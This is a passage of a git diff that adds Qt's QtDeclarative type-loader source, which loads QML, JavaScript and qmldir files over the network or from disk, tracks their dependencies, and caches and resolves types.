+*/
+QDeclarativeDataBlob::Status QDeclarativeDataBlob::status() const
+{
+ return m_status;
+}
+
+/*!
+Returns true if the status is Null.
+*/
+bool QDeclarativeDataBlob::isNull() const
+{
+ return m_status == Null;
+}
+
+/*!
+Returns true if the status is Loading.
+*/
+bool QDeclarativeDataBlob::isLoading() const
+{
+ return m_status == Loading;
+}
+
+/*!
+Returns true if the status is WaitingForDependencies.
+*/
+bool QDeclarativeDataBlob::isWaiting() const
+{
+ return m_status == WaitingForDependencies;
+}
+
+/*!
+Returns true if the status is Complete.
+*/
+bool QDeclarativeDataBlob::isComplete() const
+{
+ return m_status == Complete;
+}
+
+/*!
+Returns true if the status is Error.
+*/
+bool QDeclarativeDataBlob::isError() const
+{
+ return m_status == Error;
+}
+
+/*!
+Returns true if the status is Complete or Error.
+*/
+bool QDeclarativeDataBlob::isCompleteOrError() const
+{
+ return isComplete() || isError();
+}
+
+/*!
+Returns the data download progress from 0 to 1.
+*/
+qreal QDeclarativeDataBlob::progress() const
+{
+ return m_progress;
+}
+
+/*!
+Returns the blob url passed to the constructor. If a network redirect
+happens while fetching the data, this url remains the same.
+
+\sa finalUrl()
+*/
+QUrl QDeclarativeDataBlob::url() const
+{
+ return m_url;
+}
+
+/*!
+Returns the final url of the data. Initially this is the same as
+url(), but if a network redirect happens while fetching the data, this url
+is updated to reflect the new location.
+*/
+QUrl QDeclarativeDataBlob::finalUrl() const
+{
+ return m_finalUrl;
+}
+
+/*!
+Return the errors on this blob.
+*/
+QList<QDeclarativeError> QDeclarativeDataBlob::errors() const
+{
+ return m_errors;
+}
+
+/*!
+Mark this blob as having \a errors.
+
+All outstanding dependencies will be cancelled. Requests to add new dependencies
+will be ignored. Entry into the Error state is irreversable, although you can change the
+specific errors by additional calls to setError.
+*/
+void QDeclarativeDataBlob::setError(const QDeclarativeError &errors)
+{
+ QList<QDeclarativeError> l;
+ l << errors;
+ setError(l);
+}
+
+/*!
+\overload
+*/
+void QDeclarativeDataBlob::setError(const QList<QDeclarativeError> &errors)
+{
+ m_status = Error;
+ m_errors = errors;
+
+ cancelAllWaitingFor();
+
+ if (!m_inCallback)
+ tryDone();
+}
+
+/*!
+Wait for \a blob to become complete or to error. If \a blob is already
+complete or in error, or this blob is already complete, this has no effect.
+*/
+void QDeclarativeDataBlob::addDependency(QDeclarativeDataBlob *blob)
+{
+ Q_ASSERT(status() != Null);
+
+ if (!blob ||
+ blob->status() == Error || blob->status() == Complete ||
+ status() == Error || status() == Complete ||
+ m_waitingFor.contains(blob))
+ return;
+
+ blob->addref();
+ m_status = WaitingForDependencies;
+ m_waitingFor.append(blob);
+ blob->m_waitingOnMe.append(this);
+}
+
+/*!
+\fn void QDeclarativeDataBlob::dataReceived(const QByteArray &data)
+
+Invoked when data for the blob is received. Implementors should use this callback
+to determine a blob's dependencies. Within this callback you may call setError()
+or addDependency().
+*/
+
+/*!
+Invoked once data has either been received or a network error occurred, and all
+dependencies are complete.
+
+You can set an error in this method, but you cannot add new dependencies. Implementors
+should use this callback to finalize processing of data.
+
+The default implementation does nothing.
+*/
+void QDeclarativeDataBlob::done()
+{
+}
+
+/*!
+Invoked if there is a network error while fetching this blob.
+
+The default implementation sets an appropriate QDeclarativeError.
+*/
+void QDeclarativeDataBlob::networkError(QNetworkReply::NetworkError networkError)
+{
+ Q_UNUSED(networkError);
+
+ QDeclarativeError error;
+ error.setUrl(m_finalUrl);
+
+ const char *errorString = 0;
+ switch (networkError) {
+ default:
+ errorString = "Network error";
+ break;
+ case QNetworkReply::ConnectionRefusedError:
+ errorString = "Connection refused";
+ break;
+ case QNetworkReply::RemoteHostClosedError:
+ errorString = "Remote host closed the connection";
+ break;
+ case QNetworkReply::HostNotFoundError:
+ errorString = "Host not found";
+ break;
+ case QNetworkReply::TimeoutError:
+ errorString = "Timeout";
+ break;
+ case QNetworkReply::ProxyConnectionRefusedError:
+ case QNetworkReply::ProxyConnectionClosedError:
+ case QNetworkReply::ProxyNotFoundError:
+ case QNetworkReply::ProxyTimeoutError:
+ case QNetworkReply::ProxyAuthenticationRequiredError:
+ case QNetworkReply::UnknownProxyError:
+ errorString = "Proxy error";
+ break;
+ case QNetworkReply::ContentAccessDenied:
+ errorString = "Access denied";
+ break;
+ case QNetworkReply::ContentNotFoundError:
+ errorString = "File not found";
+ break;
+ case QNetworkReply::AuthenticationRequiredError:
+ errorString = "Authentication required";
+ break;
+ };
+
+ error.setDescription(QLatin1String(errorString));
+
+ setError(error);
+}
+
+/*!
+Called if \a blob, which was previously waited for, has an error.
+
+The default implementation does nothing.
+*/
+void QDeclarativeDataBlob::dependencyError(QDeclarativeDataBlob *blob)
+{
+ Q_UNUSED(blob);
+}
+
+/*!
+Called if \a blob, which was previously waited for, has completed.
+
+The default implementation does nothing.
+*/
+void QDeclarativeDataBlob::dependencyComplete(QDeclarativeDataBlob *blob)
+{
+ Q_UNUSED(blob);
+}
+
+/*!
+Called when all blobs waited for have completed. This occurs regardless of
+whether they are in error, or complete state.
+
+The default implementation does nothing.
+*/
+void QDeclarativeDataBlob::allDependenciesDone()
+{
+}
+
+/*!
+Called when the download progress of this blob changes. \a progress goes
+from 0 to 1.
+*/
+void QDeclarativeDataBlob::downloadProgressChanged(qreal progress)
+{
+ Q_UNUSED(progress);
+}
+
+void QDeclarativeDataBlob::tryDone()
+{
+ if (status() != Loading && m_waitingFor.isEmpty() && !m_isDone) {
+ if (status() != Error)
+ m_status = Complete;
+
+ m_isDone = true;
+ done();
+ notifyAllWaitingOnMe();
+ }
+}
+
+void QDeclarativeDataBlob::cancelAllWaitingFor()
+{
+ while (m_waitingFor.count()) {
+ QDeclarativeDataBlob *blob = m_waitingFor.takeLast();
+
+ Q_ASSERT(blob->m_waitingOnMe.contains(this));
+
+ blob->m_waitingOnMe.removeOne(this);
+
+ blob->release();
+ }
+}
+
+void QDeclarativeDataBlob::notifyAllWaitingOnMe()
+{
+ while (m_waitingOnMe.count()) {
+ QDeclarativeDataBlob *blob = m_waitingOnMe.takeLast();
+
+ Q_ASSERT(blob->m_waitingFor.contains(this));
+
+ blob->notifyComplete(this);
+ }
+}
+
+void QDeclarativeDataBlob::notifyComplete(QDeclarativeDataBlob *blob)
+{
+ Q_ASSERT(m_waitingFor.contains(blob));
+ Q_ASSERT(blob->status() == Error || blob->status() == Complete);
+
+ m_inCallback = true;
+
+ if (blob->status() == Error) {
+ dependencyError(blob);
+ } else if (blob->status() == Complete) {
+ dependencyComplete(blob);
+ }
+
+ m_waitingFor.removeOne(blob);
+ blob->release();
+
+ if (!isError() && m_waitingFor.isEmpty())
+ allDependenciesDone();
+
+ m_inCallback = false;
+
+ tryDone();
+}
+
+/*!
+\class QDeclarativeDataLoader
+\brief The QDeclarativeDataLoader class abstracts loading files and their dependencies over the network.
+\internal
+
+The QDeclarativeDataLoader class is provided for the exclusive use of the QDeclarativeTypeLoader class.
+
+Clients create QDeclarativeDataBlob instances and submit them to the QDeclarativeDataLoader class
+through the QDeclarativeDataLoader::load() or QDeclarativeDataLoader::loadWithStaticData() methods.
+The loader then fetches the data over the network or from the local file system in an efficient way.
+QDeclarativeDataBlob is an abstract class, so should always be specialized.
+
+Once data is received, the QDeclarativeDataBlob::dataReceived() method is invoked on the blob. The
+derived class should use this callback to process the received data. Processing of the data can
+result in an error being set (QDeclarativeDataBlob::setError()), or one or more dependencies being
+created (QDeclarativeDataBlob::addDependency()). Dependencies are other QDeclarativeDataBlob's that
+are required before processing can fully complete.
+
+To complete processing, the QDeclarativeDataBlob::done() callback is invoked. done() is called when
+one of these three preconditions are met.
+
+\list 1
+\o The QDeclarativeDataBlob has no dependencies.
+\o The QDeclarativeDataBlob has an error set.
+\o All the QDeclarativeDataBlob's dependencies are themselves "done()".
+\endlist
+
+Thus QDeclarativeDataBlob::done() will always eventually be called, even if the blob has an error set.
+*/
+
+/*!
+Create a new QDeclarativeDataLoader for \a engine.
+*/
+QDeclarativeDataLoader::QDeclarativeDataLoader(QDeclarativeEngine *engine)
+: m_engine(engine)
+{
+}
+
+/*! \internal */
+QDeclarativeDataLoader::~QDeclarativeDataLoader()
+{
+ for (NetworkReplies::Iterator iter = m_networkReplies.begin(); iter != m_networkReplies.end(); ++iter)
+ (*iter)->release();
+}
+
+/*!
+Load the provided \a blob from the network or filesystem.
+*/
+void QDeclarativeDataLoader::load(QDeclarativeDataBlob *blob)
+{
+ Q_ASSERT(blob->status() == QDeclarativeDataBlob::Null);
+ Q_ASSERT(blob->m_manager == 0);
+
+ blob->m_status = QDeclarativeDataBlob::Loading;
+
+ if (blob->m_url.isEmpty()) {
+ QDeclarativeError error;
+ error.setDescription(QLatin1String("Invalid null URL"));
+ blob->setError(error);
+ return;
+ }
+
+ QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(blob->m_url);
+
+ if (!lf.isEmpty()) {
+ if (!QDeclarative_isFileCaseCorrect(lf)) {
+ QDeclarativeError error;
+ error.setUrl(blob->m_url);
+ error.setDescription(QLatin1String("File name case mismatch"));
+ blob->setError(error);
+ return;
+ }
+ QFile file(lf);
+ if (file.open(QFile::ReadOnly)) {
+ QByteArray data = file.readAll();
+
+ blob->m_progress = 1.;
+ blob->downloadProgressChanged(1.);
+
+ setData(blob, data);
+ } else {
+ blob->networkError(QNetworkReply::ContentNotFoundError);
+ }
+
+ } else {
+
+ blob->m_manager = this;
+ QNetworkReply *reply = m_engine->networkAccessManager()->get(QNetworkRequest(blob->m_url));
+ QObject::connect(reply, SIGNAL(downloadProgress(qint64,qint64)),
+ this, SLOT(networkReplyProgress(qint64,qint64)));
+ QObject::connect(reply, SIGNAL(finished()),
+ this, SLOT(networkReplyFinished()));
+ m_networkReplies.insert(reply, blob);
+
+ blob->addref();
+ }
+}
+
+#define DATALOADER_MAXIMUM_REDIRECT_RECURSION 16
+
+void QDeclarativeDataLoader::networkReplyFinished()
+{
+ QNetworkReply *reply = static_cast<QNetworkReply *>(sender());
+ reply->deleteLater();
+
+ QDeclarativeDataBlob *blob = m_networkReplies.take(reply);
+
+ Q_ASSERT(blob);
+
+ blob->m_redirectCount++;
+
+ if (blob->m_redirectCount < DATALOADER_MAXIMUM_REDIRECT_RECURSION) {
+ QVariant redirect = reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = reply->url().resolved(redirect.toUrl());
+ blob->m_finalUrl = url;
+
+ QNetworkReply *reply = m_engine->networkAccessManager()->get(QNetworkRequest(url));
+ QObject::connect(reply, SIGNAL(finished()), this, SLOT(networkReplyFinished()));
+ m_networkReplies.insert(reply, blob);
+ return;
+ }
+ }
+
+ if (reply->error()) {
+ blob->networkError(reply->error());
+ } else {
+ QByteArray data = reply->readAll();
+ setData(blob, data);
+ }
+
+ blob->release();
+}
+
+void QDeclarativeDataLoader::networkReplyProgress(qint64 bytesReceived, qint64 bytesTotal)
+{
+ QNetworkReply *reply = static_cast<QNetworkReply *>(sender());
+ QDeclarativeDataBlob *blob = m_networkReplies.value(reply);
+
+ Q_ASSERT(blob);
+
+ if (bytesTotal != 0) {
+ blob->m_progress = bytesReceived / bytesTotal;
+ blob->downloadProgressChanged(blob->m_progress);
+ }
+}
+
+/*!
+Load the provided \a blob with \a data. The blob's URL is not used by the data loader in this case.
+*/
+void QDeclarativeDataLoader::loadWithStaticData(QDeclarativeDataBlob *blob, const QByteArray &data)
+{
+ Q_ASSERT(blob->status() == QDeclarativeDataBlob::Null);
+ Q_ASSERT(blob->m_manager == 0);
+
+ blob->m_status = QDeclarativeDataBlob::Loading;
+
+ setData(blob, data);
+}
+
+/*!
+Return the QDeclarativeEngine associated with this loader
+*/
+QDeclarativeEngine *QDeclarativeDataLoader::engine() const
+{
+ return m_engine;
+}
+
+void QDeclarativeDataLoader::setData(QDeclarativeDataBlob *blob, const QByteArray &data)
+{
+ blob->m_inCallback = true;
+
+ blob->dataReceived(data);
+
+ if (!blob->isError() && !blob->isWaiting())
+ blob->allDependenciesDone();
+
+ if (blob->status() != QDeclarativeDataBlob::Error)
+ blob->m_status = QDeclarativeDataBlob::WaitingForDependencies;
+
+ blob->m_inCallback = false;
+
+ blob->tryDone();
+}
+
+/*!
+Constructs a new type loader that uses the given \a engine.
+*/
+QDeclarativeTypeLoader::QDeclarativeTypeLoader(QDeclarativeEngine *engine)
+: QDeclarativeDataLoader(engine)
+{
+}
+
+/*!
+Destroys the type loader, first clearing the cache of any information about
+loaded files.
+*/
+QDeclarativeTypeLoader::~QDeclarativeTypeLoader()
+{
+ clearCache();
+}
+
+/*!
+\enum QDeclarativeTypeLoader::Option
+
+This enum defines the options that control the way type data is handled.
+
+\value None The default value, indicating that no other options
+ are enabled.
+\value PreserveParser The parser used to handle the type data is preserved
+ after the data has been parsed.
+*/
+
+/*!
+Returns a QDeclarativeTypeData for the specified \a url. The QDeclarativeTypeData may be cached.
+*/
+QDeclarativeTypeData *QDeclarativeTypeLoader::get(const QUrl &url)
+{
+ Q_ASSERT(!url.isRelative() &&
+ (QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url).isEmpty() ||
+ !QDir::isRelativePath(QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url))));
+
+ QDeclarativeTypeData *typeData = m_typeCache.value(url);
+
+ if (!typeData) {
+ typeData = new QDeclarativeTypeData(url, None, this);
+ m_typeCache.insert(url, typeData);
+ QDeclarativeDataLoader::load(typeData);
+ }
+
+ typeData->addref();
+ return typeData;
+}
+
+/*!
+Returns a QDeclarativeTypeData for the given \a data with the provided base \a url. The
+QDeclarativeTypeData will not be cached.
+
+The specified \a options control how the loader handles type data.
+*/
+QDeclarativeTypeData *QDeclarativeTypeLoader::get(const QByteArray &data, const QUrl &url, Options options)
+{
+ QDeclarativeTypeData *typeData = new QDeclarativeTypeData(url, options, this);
+ QDeclarativeDataLoader::loadWithStaticData(typeData, data);
+ return typeData;
+}
+
+/*!
+Returns a QDeclarativeScriptData for \a url. The QDeclarativeScriptData may be cached.
+*/
+QDeclarativeScriptData *QDeclarativeTypeLoader::getScript(const QUrl &url)
+{
+ Q_ASSERT(!url.isRelative() &&
+ (QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url).isEmpty() ||
+ !QDir::isRelativePath(QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url))));
+
+ QDeclarativeScriptData *scriptData = m_scriptCache.value(url);
+
+ if (!scriptData) {
+ scriptData = new QDeclarativeScriptData(url);
+ m_scriptCache.insert(url, scriptData);
+ QDeclarativeDataLoader::load(scriptData);
+ }
+
+ scriptData->addref();
+ return scriptData;
+}
+
+/*!
+Returns a QDeclarativeQmldirData for \a url. The QDeclarativeQmldirData may be cached.
+*/
+QDeclarativeQmldirData *QDeclarativeTypeLoader::getQmldir(const QUrl &url)
+{
+ Q_ASSERT(!url.isRelative() &&
+ (QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url).isEmpty() ||
+ !QDir::isRelativePath(QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url))));
+
+ QDeclarativeQmldirData *qmldirData = m_qmldirCache.value(url);
+
+ if (!qmldirData) {
+ qmldirData = new QDeclarativeQmldirData(url);
+ m_qmldirCache.insert(url, qmldirData);
+ QDeclarativeDataLoader::load(qmldirData);
+ }
+
+ qmldirData->addref();
+ return qmldirData;
+}
+
+/*!
+Returns the absolute filename of path via a directory cache for files named
+"qmldir", "*.qml", "*.js"
+Returns a empty string if the path does not exist.
+*/
+QString QDeclarativeTypeLoader::absoluteFilePath(const QString &path)
+{
+ if (path.isEmpty())
+ return QString();
+ if (path.at(0) == QLatin1Char(':')) {
+ // qrc resource
+ QFileInfo fileInfo(path);
+ return fileInfo.isFile() ? fileInfo.absoluteFilePath() : QString();
+ }
+#if defined(Q_OS_WIN32) || defined(Q_OS_WINCE) || defined(Q_OS_DARWIN) || defined(Q_OS_SYMBIAN)
+ QString lowPath(path.toLower());
+#else
+ QString lowPath(path);
+#endif
+ int lastSlash = lowPath.lastIndexOf(QLatin1Char('/'));
+ QString dirPath = lowPath.left(lastSlash);
+
+ StringSet *fileSet = 0;
+ QHash<QString,StringSet*>::const_iterator it = m_importDirCache.find(dirPath);
+ if (it == m_importDirCache.end()) {
+ StringSet *files = qmlFilesInDirectory(path.left(lastSlash));
+ m_importDirCache.insert(dirPath, files);
+ fileSet = files;
+ } else {
+ fileSet = *it;
+ }
+ if (!fileSet)
+ return QString();
+
+ QString absoluteFilePath = fileSet->contains(QString(lowPath.constData()+lastSlash+1, lowPath.length()-lastSlash-1)) ? path : QString();
+ if (absoluteFilePath.length() > 2 && absoluteFilePath.at(0) != QLatin1Char('/') && absoluteFilePath.at(1) != QLatin1Char(':'))
+ absoluteFilePath = QFileInfo(absoluteFilePath).absoluteFilePath();
+
+ return absoluteFilePath;
+}
+
+/*!
+Return a QDeclarativeDirParser for absoluteFilePath. The QDeclarativeDirParser may be cached.
+*/
+const QDeclarativeDirParser *QDeclarativeTypeLoader::qmlDirParser(const QString &absoluteFilePath)
+{
+ QDeclarativeDirParser *qmldirParser;
+ QHash<QString,QDeclarativeDirParser*>::const_iterator it = m_importQmlDirCache.find(absoluteFilePath);
+ if (it == m_importQmlDirCache.end()) {
+ qmldirParser = new QDeclarativeDirParser;
+ qmldirParser->setFileSource(absoluteFilePath);
+ qmldirParser->setUrl(QUrl::fromLocalFile(absoluteFilePath));
+ qmldirParser->parse();
+ m_importQmlDirCache.insert(absoluteFilePath, qmldirParser);
+ } else {
+ qmldirParser = *it;
+ }
+
+ return qmldirParser;
+}
+
+/*
+Clears cached information about loaded files, including any type data, scripts
+and qmldir information.
+*/
+void QDeclarativeTypeLoader::clearCache()
+{
+ for (TypeCache::Iterator iter = m_typeCache.begin(); iter != m_typeCache.end(); ++iter)
+ (*iter)->release();
+ for (ScriptCache::Iterator iter = m_scriptCache.begin(); iter != m_scriptCache.end(); ++iter)
+ (*iter)->release();
+ for (QmldirCache::Iterator iter = m_qmldirCache.begin(); iter != m_qmldirCache.end(); ++iter)
+ (*iter)->release();
+ qDeleteAll(m_importDirCache);
+ qDeleteAll(m_importQmlDirCache);
+
+ m_typeCache.clear();
+ m_scriptCache.clear();
+ m_qmldirCache.clear();
+ m_importDirCache.clear();
+ m_importQmlDirCache.clear();
+}
+
+
+QDeclarativeTypeData::QDeclarativeTypeData(const QUrl &url, QDeclarativeTypeLoader::Options options,
+ QDeclarativeTypeLoader *manager)
+: QDeclarativeDataBlob(url, QmlFile), m_options(options), m_imports(manager), m_typesResolved(false),
+ m_compiledData(0), m_typeLoader(manager)
+{
+}
+
+QDeclarativeTypeData::~QDeclarativeTypeData()
+{
+ for (int ii = 0; ii < m_scripts.count(); ++ii)
+ m_scripts.at(ii).script->release();
+ for (int ii = 0; ii < m_qmldirs.count(); ++ii)
+ m_qmldirs.at(ii)->release();
+ for (int ii = 0; ii < m_types.count(); ++ii)
+ if (m_types.at(ii).typeData) m_types.at(ii).typeData->release();
+ if (m_compiledData)
+ m_compiledData->release();
+}
+
+QDeclarativeTypeLoader *QDeclarativeTypeData::typeLoader() const
+{
+ return m_typeLoader;
+}
+
+const QDeclarativeImports &QDeclarativeTypeData::imports() const
+{
+ return m_imports;
+}
+
+const QDeclarativeScriptParser &QDeclarativeTypeData::parser() const
+{
+ return scriptParser;
+}
+
+const QList<QDeclarativeTypeData::TypeReference> &QDeclarativeTypeData::resolvedTypes() const
+{
+ return m_types;
+}
+
+const QList<QDeclarativeTypeData::ScriptReference> &QDeclarativeTypeData::resolvedScripts() const
+{
+ return m_scripts;
+}
+
+QDeclarativeCompiledData *QDeclarativeTypeData::compiledData() const
+{
+ if (m_compiledData)
+ m_compiledData->addref();
+
+ return m_compiledData;
+}
+
+void QDeclarativeTypeData::registerCallback(TypeDataCallback *callback)
+{
+ Q_ASSERT(!m_callbacks.contains(callback));
+ m_callbacks.append(callback);
+}
+
+void QDeclarativeTypeData::unregisterCallback(TypeDataCallback *callback)
+{
+ Q_ASSERT(m_callbacks.contains(callback));
+ m_callbacks.removeOne(callback);
+ Q_ASSERT(!m_callbacks.contains(callback));
+}
+
+void QDeclarativeTypeData::done()
+{
+ addref();
+
+ // Check all script dependencies for errors
+ for (int ii = 0; !isError() && ii < m_scripts.count(); ++ii) {
+ const ScriptReference &script = m_scripts.at(ii);
+ Q_ASSERT(script.script->isCompleteOrError());
+ if (script.script->isError()) {
+ QList<QDeclarativeError> errors = script.script->errors();
+ QDeclarativeError error;
+ error.setUrl(finalUrl());
+ error.setLine(script.location.line);
+ error.setColumn(script.location.column);
+ error.setDescription(QDeclarativeTypeLoader::tr("Script %1 unavailable").arg(script.script->url().toString()));
+ errors.prepend(error);
+ setError(errors);
+ }
+ }
+
+ // Check all type dependencies for errors
+ for (int ii = 0; !isError() && ii < m_types.count(); ++ii) {
+ const TypeReference &type = m_types.at(ii);
+ Q_ASSERT(!type.typeData || type.typeData->isCompleteOrError());
+ if (type.typeData && type.typeData->isError()) {
+ QString typeName = scriptParser.referencedTypes().at(ii)->name;
+
+ QList<QDeclarativeError> errors = type.typeData->errors();
+ QDeclarativeError error;
+ error.setUrl(finalUrl());
+ error.setLine(type.location.line);
+ error.setColumn(type.location.column);
+ error.setDescription(QDeclarativeTypeLoader::tr("Type %1 unavailable").arg(typeName));
+ errors.prepend(error);
+ setError(errors);
+ }
+ }
+
+ // Compile component
+ if (!isError())
+ compile();
+
+ if (!(m_options & QDeclarativeTypeLoader::PreserveParser))
+ scriptParser.clear();
+
+ // Notify callbacks
+ while (!m_callbacks.isEmpty()) {
+ TypeDataCallback *callback = m_callbacks.takeFirst();
+ callback->typeDataReady(this);
+ }
+
+ release();
+}
+
+void QDeclarativeTypeData::dataReceived(const QByteArray &data)
+{
+ if (!scriptParser.parse(data, finalUrl())) {
+ setError(scriptParser.errors());
+ return;
+ }
+
+ m_imports.setBaseUrl(finalUrl());
+
+ foreach (const QDeclarativeScriptParser::Import &import, scriptParser.imports()) {
+ if (import.type == QDeclarativeScriptParser::Import::File && import.qualifier.isEmpty()) {
+ QUrl importUrl = finalUrl().resolved(QUrl(import.uri + QLatin1String("/qmldir")));
+ if (QDeclarativeEnginePrivate::urlToLocalFileOrQrc(importUrl).isEmpty()) {
+ QDeclarativeQmldirData *data = typeLoader()->getQmldir(importUrl);
+ addDependency(data);
+ m_qmldirs << data;
+ }
+ } else if (import.type == QDeclarativeScriptParser::Import::Script) {
+ QUrl scriptUrl = finalUrl().resolved(QUrl(import.uri));
+ QDeclarativeScriptData *data = typeLoader()->getScript(scriptUrl);
+ addDependency(data);
+
+ ScriptReference ref;
+ ref.location = import.location.start;
+ ref.qualifier = import.qualifier;
+ ref.script = data;
+ m_scripts << ref;
+
+ }
+ }
+
+ if (!finalUrl().scheme().isEmpty()) {
+ QUrl importUrl = finalUrl().resolved(QUrl(QLatin1String("qmldir")));
+ if (QDeclarativeEnginePrivate::urlToLocalFileOrQrc(importUrl).isEmpty()) {
+ QDeclarativeQmldirData *data = typeLoader()->getQmldir(importUrl);
+ addDependency(data);
+ m_qmldirs << data;
+ }
+ }
+}
+
+void QDeclarativeTypeData::allDependenciesDone()
+{
+ if (!m_typesResolved) {
+ resolveTypes();
+ m_typesResolved = true;
+ }
+}
+
+void QDeclarativeTypeData::downloadProgressChanged(qreal p)
+{
+ for (int ii = 0; ii < m_callbacks.count(); ++ii) {
+ TypeDataCallback *callback = m_callbacks.at(ii);
+ callback->typeDataProgress(this, p);
+ }
+}
+
+void QDeclarativeTypeData::compile()
+{
+ Q_ASSERT(m_compiledData == 0);
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Compiling);
+
+ m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine());
+ m_compiledData->url = m_imports.baseUrl();
+ m_compiledData->name = m_compiledData->url.toString();
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Compiling, m_compiledData->name);
+
+ QDeclarativeCompiler compiler;
+ if (!compiler.compile(typeLoader()->engine(), this, m_compiledData)) {
+ setError(compiler.errors());
+ m_compiledData->release();
+ m_compiledData = 0;
+ }
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Compiling);
+}
+
+void QDeclarativeTypeData::resolveTypes()
+{
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(m_typeLoader->engine());
+ QDeclarativeImportDatabase *importDatabase = &ep->importDatabase;
+
+ // For local urls, add an implicit import "." as first (most overridden) lookup.
+ // This will also trigger the loading of the qmldir and the import of any native
+ // types from available plugins.
+ if (QDeclarativeQmldirData *qmldir = qmldirForUrl(finalUrl().resolved(QUrl(QLatin1String("./qmldir"))))) {
+ m_imports.addImport(importDatabase, QLatin1String("."),
+ QString(), -1, -1, QDeclarativeScriptParser::Import::File,
+ qmldir->dirComponents(), 0);
+ } else {
+ m_imports.addImport(importDatabase, QLatin1String("."),
+ QString(), -1, -1, QDeclarativeScriptParser::Import::File,
+ QDeclarativeDirComponents(), 0);
+ }
+
+ foreach (const QDeclarativeScriptParser::Import &import, scriptParser.imports()) {
+ QDeclarativeDirComponents qmldircomponentsnetwork;
+ if (import.type == QDeclarativeScriptParser::Import::Script)
+ continue;
+
+ if (import.type == QDeclarativeScriptParser::Import::File && import.qualifier.isEmpty()) {
+ QUrl qmldirUrl = finalUrl().resolved(QUrl(import.uri + QLatin1String("/qmldir")));
+ if (QDeclarativeQmldirData *qmldir = qmldirForUrl(qmldirUrl))
+ qmldircomponentsnetwork = qmldir->dirComponents();
+ }
+
+ int vmaj = -1;
+ int vmin = -1;
+
+ if (!import.version.isEmpty()) {
+ int dot = import.version.indexOf(QLatin1Char('.'));
+ if (dot < 0) {
+ vmaj = import.version.toInt();
+ vmin = 0;
+ } else {
+ vmaj = import.version.left(dot).toInt();
+ vmin = import.version.mid(dot+1).toInt();
+ }
+ }
+
+ QString errorString;
+ if (!m_imports.addImport(importDatabase, import.uri, import.qualifier,
+ vmaj, vmin, import.type, qmldircomponentsnetwork, &errorString)) {
+ QDeclarativeError error;
+ error.setUrl(m_imports.baseUrl());
+ error.setDescription(errorString);
+ error.setLine(import.location.start.line);
+ error.setColumn(import.location.start.column);
+
+ setError(error);
+ return;
+ }
+ }
+
+ foreach (QDeclarativeScriptParser::TypeReference *parserRef, scriptParser.referencedTypes()) {
+ QByteArray typeName = parserRef->name.toUtf8();
+
+ TypeReference ref;
+
+ QUrl url;
+ int majorVersion;
+ int minorVersion;
+ QDeclarativeImportedNamespace *typeNamespace = 0;
+ QString errorString;
+
+ if (!m_imports.resolveType(typeName, &ref.type, &url, &majorVersion, &minorVersion,
+ &typeNamespace, &errorString) || typeNamespace) {
+ // Known to not be a type:
+ // - known to be a namespace (Namespace {})
+ // - type with unknown namespace (UnknownNamespace.SomeType {})
+ QDeclarativeError error;
+ error.setUrl(m_imports.baseUrl());
+ QString userTypeName = parserRef->name;
+ userTypeName.replace(QLatin1Char('/'),QLatin1Char('.'));
+ if (typeNamespace)
+ error.setDescription(QDeclarativeTypeLoader::tr("Namespace %1 cannot be used as a type").arg(userTypeName));
+ else
+ error.setDescription(QDeclarativeTypeLoader::tr("%1 %2").arg(userTypeName).arg(errorString));
+
+ if (!parserRef->refObjects.isEmpty()) {
+ QDeclarativeParser::Object *obj = parserRef->refObjects.first();
+ error.setLine(obj->location.start.line);
+ error.setColumn(obj->location.start.column);
+ }
+
+ setError(error);
+ return;
+ }
+
+ if (ref.type) {
+ ref.majorVersion = majorVersion;
+ ref.minorVersion = minorVersion;
+ foreach (QDeclarativeParser::Object *obj, parserRef->refObjects) {
+ // store namespace for DOM
+ obj->majorVersion = majorVersion;
+ obj->minorVersion = minorVersion;
+ }
+ } else {
+ ref.typeData = typeLoader()->get(url);
+ addDependency(ref.typeData);
+ }
+
+ if (parserRef->refObjects.count())
+ ref.location = parserRef->refObjects.first()->location.start;
+
+ m_types << ref;
+ }
+}
+
+QDeclarativeQmldirData *QDeclarativeTypeData::qmldirForUrl(const QUrl &url)
+{
+ for (int ii = 0; ii < m_qmldirs.count(); ++ii) {
+ if (m_qmldirs.at(ii)->url() == url)
+ return m_qmldirs.at(ii);
+ }
+ return 0;
+}
+
+QDeclarativeScriptData::QDeclarativeScriptData(const QUrl &url)
+: QDeclarativeDataBlob(url, JavaScriptFile), m_pragmas(QDeclarativeParser::Object::ScriptBlock::None)
+{
+}
+
+QDeclarativeParser::Object::ScriptBlock::Pragmas QDeclarativeScriptData::pragmas() const
+{
+ return m_pragmas;
+}
+
+QString QDeclarativeScriptData::scriptSource() const
+{
+ return m_source;
+}
+
+void QDeclarativeScriptData::dataReceived(const QByteArray &data)
+{
+ m_source = QString::fromUtf8(data);
+ m_pragmas = QDeclarativeScriptParser::extractPragmas(m_source);
+}
+
+QDeclarativeQmldirData::QDeclarativeQmldirData(const QUrl &url)
+: QDeclarativeDataBlob(url, QmldirFile)
+{
+}
+
+const QDeclarativeDirComponents &QDeclarativeQmldirData::dirComponents() const
+{
+ return m_components;
+}
+
+void QDeclarativeQmldirData::dataReceived(const QByteArray &data)
+{
+ QDeclarativeDirParser parser;
+ parser.setSource(QString::fromUtf8(data));
+ parser.parse();
+ m_components = parser.components();
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativetypeloader_p.h b/src/declarative/qml/qdeclarativetypeloader_p.h
new file mode 100644
index 00000000..d377b4b9
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypeloader_p.h
@@ -0,0 +1,330 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
